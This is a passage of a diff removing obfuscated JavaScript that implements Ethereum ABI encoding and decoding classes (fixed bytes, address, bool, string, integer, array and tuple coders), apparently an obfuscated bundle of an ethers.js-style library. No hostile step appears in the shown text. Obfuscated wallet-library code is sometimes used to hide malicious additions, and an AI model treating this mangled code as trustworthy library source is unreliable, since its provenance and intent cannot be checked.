- return _0xf4e330(_0x33924c, 11);
- }
- }, {
- key: "bytes12",
- value: function (_0x412133) {
- return _0xf4e330(_0x412133, 12);
- }
- }, {
- key: "bytes13",
- value: function (_0x5a5531) {
- return _0xf4e330(_0x5a5531, 13);
- }
- }, {
- key: "bytes14",
- value: function (_0x4079d9) {
- return _0xf4e330(_0x4079d9, 14);
- }
- }, {
- key: "bytes15",
- value: function (_0x3d36f7) {
- return _0xf4e330(_0x3d36f7, 15);
- }
- }, {
- key: "bytes16",
- value: function (_0x48002d) {
- return _0xf4e330(_0x48002d, 16);
- }
- }, {
- key: "bytes17",
- value: function (_0x1bd5fa) {
- return _0xf4e330(_0x1bd5fa, 17);
- }
- }, {
- key: "bytes18",
- value: function (_0x3e4041) {
- return _0xf4e330(_0x3e4041, 18);
- }
- }, {
- key: "bytes19",
- value: function (_0xd08851) {
- return _0xf4e330(_0xd08851, 19);
- }
- }, {
- key: "bytes20",
- value: function (_0x1baf95) {
- return _0xf4e330(_0x1baf95, 20);
- }
- }, {
- key: "bytes21",
- value: function (_0x2f2ccb) {
- return _0xf4e330(_0x2f2ccb, 21);
- }
- }, {
- key: "bytes22",
- value: function (_0x5b08d1) {
- return _0xf4e330(_0x5b08d1, 22);
- }
- }, {
- key: "bytes23",
- value: function (_0x2d55ff) {
- return _0xf4e330(_0x2d55ff, 23);
- }
- }, {
- key: "bytes24",
- value: function (_0x589026) {
- return _0xf4e330(_0x589026, 24);
- }
- }, {
- key: "bytes25",
- value: function (_0x426199) {
- return _0xf4e330(_0x426199, 25);
- }
- }, {
- key: "bytes26",
- value: function (_0x5c2d39) {
- return _0xf4e330(_0x5c2d39, 26);
- }
- }, {
- key: "bytes27",
- value: function (_0x5c9fd4) {
- return _0xf4e330(_0x5c9fd4, 27);
- }
- }, {
- key: "bytes28",
- value: function (_0x53cf77) {
- return _0xf4e330(_0x53cf77, 28);
- }
- }, {
- key: "bytes29",
- value: function (_0x42dbb9) {
- return _0xf4e330(_0x42dbb9, 29);
- }
- }, {
- key: "bytes30",
- value: function (_0x47339b) {
- return _0xf4e330(_0x47339b, 30);
- }
- }, {
- key: "bytes31",
- value: function (_0x3175f8) {
- return _0xf4e330(_0x3175f8, 31);
- }
- }, {
- key: "bytes32",
- value: function (_0x32513c) {
- return _0xf4e330(_0x32513c, 32);
- }
- }, {
- key: "address",
- value: function (_0x3505ed) {
- return new _0x523eca(_0x2c347f, "address", _0x3505ed);
- }
- }, {
- key: "bool",
- value: function (_0x54b03d) {
- return new _0x523eca(_0x2c347f, "bool", !!_0x54b03d);
- }
- }, {
- key: "bytes",
- value: function (_0x3c4458) {
- return new _0x523eca(_0x2c347f, "bytes", _0x3c4458);
- }
- }, {
- key: "string",
- value: function (_0x2ce962) {
- return new _0x523eca(_0x2c347f, "string", _0x2ce962);
- }
- }, {
- key: "array",
- value: function (_0x5a2d09, _0x2f4137) {
- throw new Error("not implemented yet");
- }
- }, {
- key: "tuple",
- value: function (_0x563e78, _0x18fdbb) {
- throw new Error("not implemented yet");
- }
- }, {
- key: "overrides",
- value: function (_0x2a9fde) {
- return new _0x523eca(_0x2c347f, "overrides", Object.assign({}, _0x2a9fde));
- }
- }, {
- key: "isTyped",
- value: function (_0xcb2194) {
- return _0xcb2194 && "object" === _0x4dce66(_0xcb2194) && "_typedSymbol" in _0xcb2194 && _0xcb2194._typedSymbol === _0x4ee5a8;
- }
- }, {
- key: "dereference",
- value: function (_0x433687, _0x337e31) {
- if (_0x523eca.isTyped(_0x433687)) {
- if (_0x433687.type !== _0x337e31) {
- throw new Error("invalid type: expecetd ".concat(_0x337e31, ", got ").concat(_0x433687.type));
- }
- return _0x433687.value;
- }
- return _0x433687;
- }
- }]);
- return _0x523eca;
- }();
- var _0x1f2021 = function (_0x3e4659) {
- _0x2e6032(_0x47e627, _0x3e4659);
- var _0x4e032b;
- var _0xc5b094;
- _0x4e032b = _0x47e627;
- _0xc5b094 = function () {
- if ("undefined" == typeof Reflect || !Reflect.construct) {
- return false;
- }
- if (Reflect.construct.sham) {
- return false;
- }
- if ("function" == typeof Proxy) {
- return true;
- }
- try {
- Boolean.prototype.valueOf.call(Reflect.construct(Boolean, [], function () {}));
- return true;
- } catch (_0x5c11ed) {
- return false;
- }
- }();
- var _0x35ca5f = function () {
- var _0x5bdd1c;
- var _0x30b511 = _0x1cc855(_0x4e032b);
- if (_0xc5b094) {
- var _0xe13b3 = _0x1cc855(this).constructor;
- _0x5bdd1c = Reflect.construct(_0x30b511, arguments, _0xe13b3);
- } else {
- _0x5bdd1c = _0x30b511.apply(this, arguments);
- }
- return _0xeaa5dd(this, _0x5bdd1c);
- };
- function _0x47e627(_0x442eea) {
- _0x1d998d(this, _0x47e627);
- return _0x35ca5f.call(this, "address", "address", _0x442eea, false);
- }
- _0x561e78(_0x47e627, [{
- key: "defaultValue",
- value: function () {
- return "0x0000000000000000000000000000000000000000";
- }
- }, {
- key: "encode",
- value: function (_0xcf1f5e, _0x2d816e) {
- var _0x480405 = _0x56dfcc.dereference(_0x2d816e, "string");
- try {
- _0x480405 = _0x46447e(_0x480405);
- } catch (_0x1162cc) {
- return this._throwError(_0x1162cc.message, _0x2d816e);
- }
- return _0xcf1f5e.writeValue(_0x480405);
- }
- }, {
- key: "decode",
- value: function (_0x1733e9) {
- return _0x46447e(_0x4fc59d(_0x1733e9.readValue(), 20));
- }
- }]);
- return _0x47e627;
- }(_0x4859c2);
- var _0x4739e0 = function (_0x85331b) {
- _0x2e6032(_0x3e6209, _0x85331b);
- var _0x8de696;
- var _0x56b6f1;
- _0x8de696 = _0x3e6209;
- _0x56b6f1 = function () {
- if ("undefined" == typeof Reflect || !Reflect.construct) {
- return false;
- }
- if (Reflect.construct.sham) {
- return false;
- }
- if ("function" == typeof Proxy) {
- return true;
- }
- try {
- Boolean.prototype.valueOf.call(Reflect.construct(Boolean, [], function () {}));
- return true;
- } catch (_0x1b1f33) {
- return false;
- }
- }();
- var _0x3c1e9e = function () {
- var _0x4620d2;
- var _0x52254a = _0x1cc855(_0x8de696);
- if (_0x56b6f1) {
- var _0x30a5ba = _0x1cc855(this).constructor;
- _0x4620d2 = Reflect.construct(_0x52254a, arguments, _0x30a5ba);
- } else {
- _0x4620d2 = _0x52254a.apply(this, arguments);
- }
- return _0xeaa5dd(this, _0x4620d2);
- };
- function _0x3e6209(_0x5ba0fd) {
- var _0x186255;
- _0x1d998d(this, _0x3e6209);
- _0x713ed3(_0x3ea587(_0x186255 = _0x3c1e9e.call(this, _0x5ba0fd.name, _0x5ba0fd.type, "_", _0x5ba0fd.dynamic)), "coder", undefined);
- _0x186255.coder = _0x5ba0fd;
- return _0x186255;
- }
- _0x561e78(_0x3e6209, [{
- key: "defaultValue",
- value: function () {
- return this.coder.defaultValue();
- }
- }, {
- key: "encode",
- value: function (_0x48428f, _0x5bbf0f) {
- return this.coder.encode(_0x48428f, _0x5bbf0f);
- }
- }, {
- key: "decode",
- value: function (_0x503500) {
- return this.coder.decode(_0x503500);
- }
- }]);
- return _0x3e6209;
- }(_0x4859c2);
- function _0x4f09fd(_0x42d3be, _0x25e36e, _0x518ee2) {
- var _0x694547 = [];
- if (Array.isArray(_0x518ee2)) {
- _0x694547 = _0x518ee2;
- } else {
- if (_0x518ee2 && "object" === _0x4dce66(_0x518ee2)) {
- var _0x1333f8 = {};
- _0x694547 = _0x25e36e.map(function (_0x36e3d9) {
- var _0x2d411e = _0x36e3d9.localName;
- _0x2b816d(_0x2d411e, "cannot encode object for signature with missing names", "INVALID_ARGUMENT", {
- argument: "values",
- info: {
- coder: _0x36e3d9
- },
- value: _0x518ee2
- });
- _0x2b816d(!_0x1333f8[_0x2d411e], "cannot encode object for signature with duplicate names", "INVALID_ARGUMENT", {
- argument: "values",
- info: {
- coder: _0x36e3d9
- },
- value: _0x518ee2
- });
- _0x1333f8[_0x2d411e] = true;
- return _0x518ee2[_0x2d411e];
- });
- } else {
- _0x413a2d(false, "invalid tuple value", "tuple", _0x518ee2);
- }
- }
- _0x413a2d(_0x25e36e.length === _0x694547.length, "types/value length mismatch", "tuple", _0x518ee2);
- var _0x29d39c = new _0x528550();
- var _0x102693 = new _0x528550();
- var _0x3117a3 = [];
- _0x25e36e.forEach(function (_0x4e343e, _0x5f3a0f) {
- var _0x3dc075 = _0x694547[_0x5f3a0f];
- if (_0x4e343e.dynamic) {
- var _0x3203e7 = _0x102693.length;
- _0x4e343e.encode(_0x102693, _0x3dc075);
- var _0xbc0e1f = _0x29d39c.writeUpdatableValue();
- _0x3117a3.push(function (_0x1f5aa5) {
- _0xbc0e1f(_0x1f5aa5 + _0x3203e7);
- });
- } else {
- _0x4e343e.encode(_0x29d39c, _0x3dc075);
- }
- });
- _0x3117a3.forEach(function (_0x216288) {
- _0x216288(_0x29d39c.length);
- });
- return _0x42d3be.appendWriter(_0x29d39c) + _0x42d3be.appendWriter(_0x102693);
- }
- function _0x1addaa(_0x5abf50, _0x57b826) {
- var _0x3031ee = [];
- var _0x4c4fab = [];
- var _0x349947 = _0x5abf50.subReader(0);
- _0x57b826.forEach(function (_0xa19f13) {
- var _0x3729dd = null;
- if (_0xa19f13.dynamic) {
- var _0x49c754 = _0x5abf50.readIndex();
- var _0x157c5e = _0x349947.subReader(_0x49c754);
- try {
- _0x3729dd = _0xa19f13.decode(_0x157c5e);
- } catch (_0x472021) {
- if (_0x481767(_0x472021, "BUFFER_OVERRUN")) {
- throw _0x472021;
- }
- (_0x3729dd = _0x472021).baseType = _0xa19f13.name;
- _0x3729dd.name = _0xa19f13.localName;
- _0x3729dd.type = _0xa19f13.type;
- }
- } else {
- try {
- _0x3729dd = _0xa19f13.decode(_0x5abf50);
- } catch (_0x323f15) {
- if (_0x481767(_0x323f15, "BUFFER_OVERRUN")) {
- throw _0x323f15;
- }
- (_0x3729dd = _0x323f15).baseType = _0xa19f13.name;
- _0x3729dd.name = _0xa19f13.localName;
- _0x3729dd.type = _0xa19f13.type;
- }
- }
- if (null == _0x3729dd) {
- throw new Error("investigate");
- }
- _0x3031ee.push(_0x3729dd);
- _0x4c4fab.push(_0xa19f13.localName || null);
- });
- return _0x46f7ed.fromItems(_0x3031ee, _0x4c4fab);
- }
- var _0x216576 = function (_0x5b0cc4) {
- _0x2e6032(_0x5231cd, _0x5b0cc4);
- var _0x1bf19f;
- var _0x25ac6a;
- _0x1bf19f = _0x5231cd;
- _0x25ac6a = function () {
- if ("undefined" == typeof Reflect || !Reflect.construct) {
- return false;
- }
- if (Reflect.construct.sham) {
- return false;
- }
- if ("function" == typeof Proxy) {
- return true;
- }
- try {
- Boolean.prototype.valueOf.call(Reflect.construct(Boolean, [], function () {}));
- return true;
- } catch (_0x53b2f8) {
- return false;
- }
- }();
- var _0x33edff = function () {
- var _0x53c7cd;
- var _0x11840d = _0x1cc855(_0x1bf19f);
- if (_0x25ac6a) {
- var _0x366016 = _0x1cc855(this).constructor;
- _0x53c7cd = Reflect.construct(_0x11840d, arguments, _0x366016);
- } else {
- _0x53c7cd = _0x11840d.apply(this, arguments);
- }
- return _0xeaa5dd(this, _0x53c7cd);
- };
- function _0x5231cd(_0x2e947e, _0x5c67d0, _0x5b7b3c) {
- var _0x2d2bcf;
- _0x1d998d(this, _0x5231cd);
- var _0x5ec928 = _0x2e947e.type + "[" + (_0x5c67d0 >= 0 ? _0x5c67d0 : "") + "]";
- var _0x43fcc = -1 === _0x5c67d0 || _0x2e947e.dynamic;
- _0x713ed3(_0x3ea587(_0x2d2bcf = _0x33edff.call(this, "array", _0x5ec928, _0x5b7b3c, _0x43fcc)), "coder", undefined);
- _0x713ed3(_0x3ea587(_0x2d2bcf), "length", undefined);
- _0x7e8dd6(_0x3ea587(_0x2d2bcf), {
- coder: _0x2e947e,
- length: _0x5c67d0
- });
- return _0x2d2bcf;
- }
- _0x561e78(_0x5231cd, [{
- key: "defaultValue",
- value: function () {
- for (var _0xbd67f9 = this.coder.defaultValue(), _0x2abc0e = [], _0x3d19e1 = 0; _0x3d19e1 < this.length; _0x3d19e1++) {
- _0x2abc0e.push(_0xbd67f9);
- }
- return _0x2abc0e;
- }
- }, {
- key: "encode",
- value: function (_0x52e58b, _0xc0efdb) {
- var _0x37f86a = _0x56dfcc.dereference(_0xc0efdb, "array");
- Array.isArray(_0x37f86a) || this._throwError("expected array value", _0x37f86a);
- var _0x2fb514 = this.length;
- -1 === _0x2fb514 && (_0x2fb514 = _0x37f86a.length, _0x52e58b.writeValue(_0x37f86a.length));
- _0x42b886(_0x37f86a.length, _0x2fb514, "coder array" + (this.localName ? " " + this.localName : ""));
- for (var _0x1628c4 = [], _0x5c3c55 = 0; _0x5c3c55 < _0x37f86a.length; _0x5c3c55++) {
- _0x1628c4.push(this.coder);
- }
- return _0x4f09fd(_0x52e58b, _0x1628c4, _0x37f86a);
- }
- }, {
- key: "decode",
- value: function (_0x50299a) {
- var _0x5ed81c = this.length;
- -1 === _0x5ed81c && _0x2b816d((_0x5ed81c = _0x50299a.readIndex()) * _0x52b400 <= _0x50299a.dataLength, "insufficient data length", "BUFFER_OVERRUN", {
- buffer: _0x50299a.bytes,
- offset: _0x5ed81c * _0x52b400,
- length: _0x50299a.dataLength
- });
- for (var _0x5a10af = [], _0x328f08 = 0; _0x328f08 < _0x5ed81c; _0x328f08++) {
- _0x5a10af.push(new _0x4739e0(this.coder));
- }
- return _0x1addaa(_0x50299a, _0x5a10af);
- }
- }]);
- return _0x5231cd;
- }(_0x4859c2);
- var _0x1a5b2f = function (_0x287231) {
- _0x2e6032(_0x2c83c7, _0x287231);
- var _0x349fbc;
- var _0x143329;
- _0x349fbc = _0x2c83c7;
- _0x143329 = function () {
- if ("undefined" == typeof Reflect || !Reflect.construct) {
- return false;
- }
- if (Reflect.construct.sham) {
- return false;
- }
- if ("function" == typeof Proxy) {
- return true;
- }
- try {
- Boolean.prototype.valueOf.call(Reflect.construct(Boolean, [], function () {}));
- return true;
- } catch (_0x34d7c0) {
- return false;
- }
- }();
- var _0x54f8d1 = function () {
- var _0x3cca44;
- var _0x3b5342 = _0x1cc855(_0x349fbc);
- if (_0x143329) {
- var _0x4067e5 = _0x1cc855(this).constructor;
- _0x3cca44 = Reflect.construct(_0x3b5342, arguments, _0x4067e5);
- } else {
- _0x3cca44 = _0x3b5342.apply(this, arguments);
- }
- return _0xeaa5dd(this, _0x3cca44);
- };
- function _0x2c83c7(_0x9d69a1) {
- _0x1d998d(this, _0x2c83c7);
- return _0x54f8d1.call(this, "bool", "bool", _0x9d69a1, false);
- }
- _0x561e78(_0x2c83c7, [{
- key: "defaultValue",
- value: function () {
- return false;
- }
- }, {
- key: "encode",
- value: function (_0x308188, _0x5daf5b) {
- var _0x1cfafa = _0x56dfcc.dereference(_0x5daf5b, "bool");
- return _0x308188.writeValue(_0x1cfafa ? 1 : 0);
- }
- }, {
- key: "decode",
- value: function (_0x59f268) {
- return !!_0x59f268.readValue();
- }
- }]);
- return _0x2c83c7;
- }(_0x4859c2);
- function _0x2d25e2() {
- _0x2d25e2 = "undefined" != typeof Reflect && Reflect.get ? Reflect.get.bind() : function (_0x2267ea, _0x81464d, _0x1a4d61) {
- var _0xd5e15f = function (_0x459914, _0xb0a0ee) {
- for (; !Object.prototype.hasOwnProperty.call(_0x459914, _0xb0a0ee) && null !== (_0x459914 = _0x1cc855(_0x459914));) {}
- return _0x459914;
- }(_0x2267ea, _0x81464d);
- if (_0xd5e15f) {
- var _0xd56097 = Object.getOwnPropertyDescriptor(_0xd5e15f, _0x81464d);
- return _0xd56097.get ? _0xd56097.get.call(arguments.length < 3 ? _0x2267ea : _0x1a4d61) : _0xd56097.value;
- }
- };
- return _0x2d25e2.apply(this, arguments);
- }
- function _0x2c9301(_0xaa73a4) {
- var _0x746459 = function () {
- if ("undefined" == typeof Reflect || !Reflect.construct) {
- return false;
- }
- if (Reflect.construct.sham) {
- return false;
- }
- if ("function" == typeof Proxy) {
- return true;
- }
- try {
- Boolean.prototype.valueOf.call(Reflect.construct(Boolean, [], function () {}));
- return true;
- } catch (_0x169031) {
- return false;
- }
- }();
- return function () {
- var _0x228d14;
- var _0x52876b = _0x1cc855(_0xaa73a4);
- if (_0x746459) {
- var _0x4d444d = _0x1cc855(this).constructor;
- _0x228d14 = Reflect.construct(_0x52876b, arguments, _0x4d444d);
- } else {
- _0x228d14 = _0x52876b.apply(this, arguments);
- }
- return _0xeaa5dd(this, _0x228d14);
- };
- }
- var _0x2fda7c = function (_0x541fbb) {
- _0x2e6032(_0x282946, _0x541fbb);
- var _0x35e9d5 = _0x2c9301(_0x282946);
- function _0x282946(_0x1b43e8, _0x3e9bbc) {
- _0x1d998d(this, _0x282946);
- return _0x35e9d5.call(this, _0x1b43e8, _0x1b43e8, _0x3e9bbc, true);
- }
- _0x561e78(_0x282946, [{
- key: "defaultValue",
- value: function () {
- return "0x";
- }
- }, {
- key: "encode",
- value: function (_0x41f21c, _0x24f50a) {
- _0x24f50a = _0x32958d(_0x24f50a);
- return _0x41f21c.writeValue(_0x24f50a.length) + _0x41f21c.writeBytes(_0x24f50a);
- }
- }, {
- key: "decode",
- value: function (_0x2f1905) {
- return _0x2f1905.readBytes(_0x2f1905.readIndex(), true);
- }
- }]);
- return _0x282946;
- }(_0x4859c2);
- var _0x43c324 = function (_0x33b706) {
- _0x2e6032(_0x20cf12, _0x33b706);
- var _0x24d4a1 = _0x2c9301(_0x20cf12);
- function _0x20cf12(_0x3b1f66) {
- _0x1d998d(this, _0x20cf12);
- return _0x24d4a1.call(this, "bytes", _0x3b1f66);
- }
- _0x561e78(_0x20cf12, [{
- key: "decode",
- value: function (_0x14b5c3) {
- return _0x192257(_0x2d25e2(_0x1cc855(_0x20cf12.prototype), "decode", this).call(this, _0x14b5c3));
- }
- }]);
- return _0x20cf12;
- }(_0x2fda7c);
- var _0xae3676 = function (_0x5c4d5f) {
- _0x2e6032(_0x11ffa9, _0x5c4d5f);
- var _0x1a9ed4;
- var _0x1e722f;
- _0x1a9ed4 = _0x11ffa9;
- _0x1e722f = function () {
- if ("undefined" == typeof Reflect || !Reflect.construct) {
- return false;
- }
- if (Reflect.construct.sham) {
- return false;
- }
- if ("function" == typeof Proxy) {
- return true;
- }
- try {
- Boolean.prototype.valueOf.call(Reflect.construct(Boolean, [], function () {}));
- return true;
- } catch (_0xd510c5) {
- return false;
- }
- }();
- var _0x496811 = function () {
- var _0x533ba8;
- var _0x5ede7c = _0x1cc855(_0x1a9ed4);
- if (_0x1e722f) {
- var _0x56f1d3 = _0x1cc855(this).constructor;
- _0x533ba8 = Reflect.construct(_0x5ede7c, arguments, _0x56f1d3);
- } else {
- _0x533ba8 = _0x5ede7c.apply(this, arguments);
- }
- return _0xeaa5dd(this, _0x533ba8);
- };
- function _0x11ffa9(_0x133ec8, _0x3834fb) {
- var _0x2e2060;
- _0x1d998d(this, _0x11ffa9);
- var _0x1ce7ea = "bytes" + String(_0x133ec8);
- _0x713ed3(_0x3ea587(_0x2e2060 = _0x496811.call(this, _0x1ce7ea, _0x1ce7ea, _0x3834fb, false)), "size", undefined);
- _0x7e8dd6(_0x3ea587(_0x2e2060), {
- size: _0x133ec8
- }, {
- size: "number"
- });
- return _0x2e2060;
- }
- _0x561e78(_0x11ffa9, [{
- key: "defaultValue",
- value: function () {
- return "0x0000000000000000000000000000000000000000000000000000000000000000".substring(0, 2 + 2 * this.size);
- }
- }, {
- key: "encode",
- value: function (_0x27ae38, _0x1c0cb0) {
- var _0x404ac3 = _0x32958d(_0x56dfcc.dereference(_0x1c0cb0, this.type));
- _0x404ac3.length !== this.size && this._throwError("incorrect data length", _0x1c0cb0);
- return _0x27ae38.writeBytes(_0x404ac3);
- }
- }, {
- key: "decode",
- value: function (_0x20af0f) {
- return _0x192257(_0x20af0f.readBytes(this.size));
- }
- }]);
- return _0x11ffa9;
- }(_0x4859c2);
- var _0x520bf6 = new Uint8Array([]);
- var _0x4846ff = function (_0x20e1d6) {
- _0x2e6032(_0x31b9c3, _0x20e1d6);
- var _0x58714c;
- var _0x3c2452;
- _0x58714c = _0x31b9c3;
- _0x3c2452 = function () {
- if ("undefined" == typeof Reflect || !Reflect.construct) {
- return false;
- }
- if (Reflect.construct.sham) {
- return false;
- }
- if ("function" == typeof Proxy) {
- return true;
- }
- try {
- Boolean.prototype.valueOf.call(Reflect.construct(Boolean, [], function () {}));
- return true;
- } catch (_0x9e171a) {
- return false;
- }
- }();
- var _0x286849 = function () {
- var _0x513c41;
- var _0x8f0280 = _0x1cc855(_0x58714c);
- if (_0x3c2452) {
- var _0x5921ea = _0x1cc855(this).constructor;
- _0x513c41 = Reflect.construct(_0x8f0280, arguments, _0x5921ea);
- } else {
- _0x513c41 = _0x8f0280.apply(this, arguments);
- }
- return _0xeaa5dd(this, _0x513c41);
- };
- function _0x31b9c3(_0x5c91bb) {
- _0x1d998d(this, _0x31b9c3);
- return _0x286849.call(this, "null", "", _0x5c91bb, false);
- }
- _0x561e78(_0x31b9c3, [{
- key: "defaultValue",
- value: function () {
- return null;
- }
- }, {
- key: "encode",
- value: function (_0x474369, _0x46463d) {
- null != _0x46463d && this._throwError("not null", _0x46463d);
- return _0x474369.writeBytes(_0x520bf6);
- }
- }, {
- key: "decode",
- value: function (_0x2a3f6d) {
- _0x2a3f6d.readBytes(0);
- return null;
- }
- }]);
- return _0x31b9c3;
- }(_0x4859c2);
- var _0x3a8970 = BigInt(0);
- var _0x3c4ee3 = BigInt(1);
- var _0x553034 = BigInt("0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff");
- var _0x5e0bc3 = function (_0xfbec5c) {
- _0x2e6032(_0x28b93c, _0xfbec5c);
- var _0x25ece8;
- var _0x281401;
- _0x25ece8 = _0x28b93c;
- _0x281401 = function () {
- if ("undefined" == typeof Reflect || !Reflect.construct) {
- return false;
- }
- if (Reflect.construct.sham) {
- return false;
- }
- if ("function" == typeof Proxy) {
- return true;
- }
- try {
- Boolean.prototype.valueOf.call(Reflect.construct(Boolean, [], function () {}));
- return true;
- } catch (_0x154870) {
- return false;
- }
- }();
- var _0x4e03fc = function () {
- var _0x36df07;
- var _0x18211e = _0x1cc855(_0x25ece8);
- if (_0x281401) {
- var _0x52e858 = _0x1cc855(this).constructor;
- _0x36df07 = Reflect.construct(_0x18211e, arguments, _0x52e858);
- } else {
- _0x36df07 = _0x18211e.apply(this, arguments);
- }
- return _0xeaa5dd(this, _0x36df07);
- };
- function _0x28b93c(_0x2b5dcd, _0xfd0674, _0x1f7ee7) {
- var _0x4a15cb;
- _0x1d998d(this, _0x28b93c);
- var _0x416ce4 = (_0xfd0674 ? "int" : "uint") + 8 * _0x2b5dcd;
- _0x713ed3(_0x3ea587(_0x4a15cb = _0x4e03fc.call(this, _0x416ce4, _0x416ce4, _0x1f7ee7, false)), "size", undefined);
- _0x713ed3(_0x3ea587(_0x4a15cb), "signed", undefined);
- _0x7e8dd6(_0x3ea587(_0x4a15cb), {
- size: _0x2b5dcd,
- signed: _0xfd0674
- }, {
- size: "number",
- signed: "boolean"
- });
- return _0x4a15cb;
- }
- _0x561e78(_0x28b93c, [{
- key: "defaultValue",
- value: function () {
- return 0;
- }
- }, {
- key: "encode",
- value: function (_0x56f7a5, _0x1947f3) {
- var _0x126ad2 = _0x1d7273(_0x56dfcc.dereference(_0x1947f3, this.type));
- var _0x2b656e = _0x869ea9(_0x553034, 8 * _0x52b400);
- if (this.signed) {
- var _0x276708 = _0x869ea9(_0x2b656e, 8 * this.size - 1);
- (_0x126ad2 > _0x276708 || _0x126ad2 < -(_0x276708 + _0x3c4ee3)) && this._throwError("value out-of-bounds", _0x1947f3);
- _0x126ad2 = _0x4ed172(_0x126ad2, 8 * _0x52b400);
- } else {
- (_0x126ad2 < _0x3a8970 || _0x126ad2 > _0x869ea9(_0x2b656e, 8 * this.size)) && this._throwError("value out-of-bounds", _0x1947f3);
- }
- return _0x56f7a5.writeValue(_0x126ad2);
- }
- }, {
- key: "decode",
- value: function (_0xa892fb) {
- var _0x39f580 = _0x869ea9(_0xa892fb.readValue(), 8 * this.size);
- this.signed && (_0x39f580 = function (_0x3f2bbf, _0x594948) {
- var _0xc1da2 = _0x448e0a(_0x3f2bbf, "value");
- var _0xe434aa = BigInt(_0x453994(_0x594948, "width"));
- _0x2b816d(_0xc1da2 >> _0xe434aa === _0x50f53d, "overflow", "NUMERIC_FAULT", {
- operation: "fromTwos",
- fault: "overflow",
- value: _0x3f2bbf
- });
- return _0xc1da2 >> _0xe434aa - _0x1e5db2 ? -((~_0xc1da2 & (_0x1e5db2 << _0xe434aa) - _0x1e5db2) + _0x1e5db2) : _0xc1da2;
- }(_0x39f580, 8 * this.size));
- return _0x39f580;
- }
- }]);
- return _0x28b93c;
- }(_0x4859c2);
- var _0x4290ce = function (_0x3ea25a) {
- _0x2e6032(_0x2a7c74, _0x3ea25a);
- var _0x3bf884;
- var _0x28851e;
- _0x3bf884 = _0x2a7c74;
- _0x28851e = function () {
- if ("undefined" == typeof Reflect || !Reflect.construct) {
- return false;
- }
- if (Reflect.construct.sham) {
- return false;
- }
- if ("function" == typeof Proxy) {
- return true;
- }
- try {
- Boolean.prototype.valueOf.call(Reflect.construct(Boolean, [], function () {}));
- return true;
- } catch (_0x3e9ec8) {
- return false;
- }
- }();
- var _0x1042bc = function () {
- var _0x1d5846;
- var _0x334bec = _0x1cc855(_0x3bf884);
- if (_0x28851e) {
- var _0xd35143 = _0x1cc855(this).constructor;
- _0x1d5846 = Reflect.construct(_0x334bec, arguments, _0xd35143);
- } else {
- _0x1d5846 = _0x334bec.apply(this, arguments);
- }
- return _0xeaa5dd(this, _0x1d5846);
- };
- function _0x2a7c74(_0x3ae5ae) {
- _0x1d998d(this, _0x2a7c74);
- return _0x1042bc.call(this, "string", _0x3ae5ae);
- }
- _0x561e78(_0x2a7c74, [{
- key: "defaultValue",
- value: function () {
- return "";
- }
- }, {
- key: "encode",
- value: function (_0x4cc69f, _0x5800ee) {
- return _0x2d25e2(_0x1cc855(_0x2a7c74.prototype), "encode", this).call(this, _0x4cc69f, _0x1667a1(_0x56dfcc.dereference(_0x5800ee, "string")));
- }
- }, {
- key: "decode",
- value: function (_0xd40cb) {
- return _0x311311(_0x2d25e2(_0x1cc855(_0x2a7c74.prototype), "decode", this).call(this, _0xd40cb));
- }
- }]);
- return _0x2a7c74;
- }(_0x2fda7c);
- var _0xfa9f90 = function (_0x5f0944) {
- _0x2e6032(_0xa8c730, _0x5f0944);
- var _0x81e800;
- var _0x1f331c;
- _0x81e800 = _0xa8c730;
- _0x1f331c = function () {
- if ("undefined" == typeof Reflect || !Reflect.construct) {
- return false;
- }
- if (Reflect.construct.sham) {
- return false;
- }
- if ("function" == typeof Proxy) {
- return true;
- }
- try {
- Boolean.prototype.valueOf.call(Reflect.construct(Boolean, [], function () {}));
- return true;
- } catch (_0x47842b) {
- return false;
- }
- }();
- var _0xdc6a7e = function () {
- var _0x45a5a5;
- var _0xa3b1dd = _0x1cc855(_0x81e800);
- if (_0x1f331c) {
- var _0x4fb574 = _0x1cc855(this).constructor;
- _0x45a5a5 = Reflect.construct(_0xa3b1dd, arguments, _0x4fb574);
- } else {
- _0x45a5a5 = _0xa3b1dd.apply(this, arguments);
- }
- return _0xeaa5dd(this, _0x45a5a5);
- };
- function _0xa8c730(_0x456d36, _0x693e0e) {
- var _0x20afc7;
- _0x1d998d(this, _0xa8c730);
- var _0x2454a9 = false;
- var _0x4ea52f = [];
- _0x456d36.forEach(function (_0x3f6e8a) {
- _0x3f6e8a.dynamic && (_0x2454a9 = true);
- _0x4ea52f.push(_0x3f6e8a.type);
- });
- var _0x393f0a = "tuple(" + _0x4ea52f.join(",") + ")";
- _0x713ed3(_0x3ea587(_0x20afc7 = _0xdc6a7e.call(this, "tuple", _0x393f0a, _0x693e0e, _0x2454a9)), "coders", undefined);
- _0x7e8dd6(_0x3ea587(_0x20afc7), {
- coders: Object.freeze(_0x456d36.slice())
- });
- return _0x20afc7;
- }
- _0x561e78(_0xa8c730, [{
- key: "defaultValue",
- value: function () {
- var _0x175802 = [];
- this.coders.forEach(function (_0x1cb7e3) {
- _0x175802.push(_0x1cb7e3.defaultValue());
- });
- var _0x37f3c2 = this.coders.reduce(function (_0x5b79c7, _0xb4ffd0) {
- var _0x5bcfe5 = _0xb4ffd0.localName;
- _0x5bcfe5 && (_0x5b79c7[_0x5bcfe5] || (_0x5b79c7[_0x5bcfe5] = 0), _0x5b79c7[_0x5bcfe5]++);
- return _0x5b79c7;
- }, {});
- this.coders.forEach(function (_0x22ff5e, _0x2f6b3a) {
- var _0xb019ab = _0x22ff5e.localName;
- _0xb019ab && 1 === _0x37f3c2[_0xb019ab] && ("length" === _0xb019ab && (_0xb019ab = "_length"), null == _0x175802[_0xb019ab] && (_0x175802[_0xb019ab] = _0x175802[_0x2f6b3a]));
- });
- return Object.freeze(_0x175802);
- }
- }, {
- key: "encode",
- value: function (_0x2a2988, _0x409ac0) {
- var _0x4f3a7c = _0x56dfcc.dereference(_0x409ac0, "tuple");
- return _0x4f09fd(_0x2a2988, this.coders, _0x4f3a7c);
- }
- }, {
- key: "decode",
- value: function (_0x2e73af) {
- return _0x1addaa(_0x2e73af, this.coders);
- }
- }]);
- return _0xa8c730;
- }(_0x4859c2);
- function _0x4c9af5(_0xd9357e, _0x578637) {
- _0x12e811(_0xd9357e, _0x578637);
- _0x578637.add(_0xd9357e);
- }
- function _0x2c2ccb(_0x5ccce6, _0x563969, _0xce8b20) {
- _0x12e811(_0x5ccce6, _0x563969);
- _0x563969.set(_0x5ccce6, _0xce8b20);
- }
- function _0x12e811(_0x440508, _0x4c5af6) {
- if (_0x4c5af6.has(_0x440508)) {
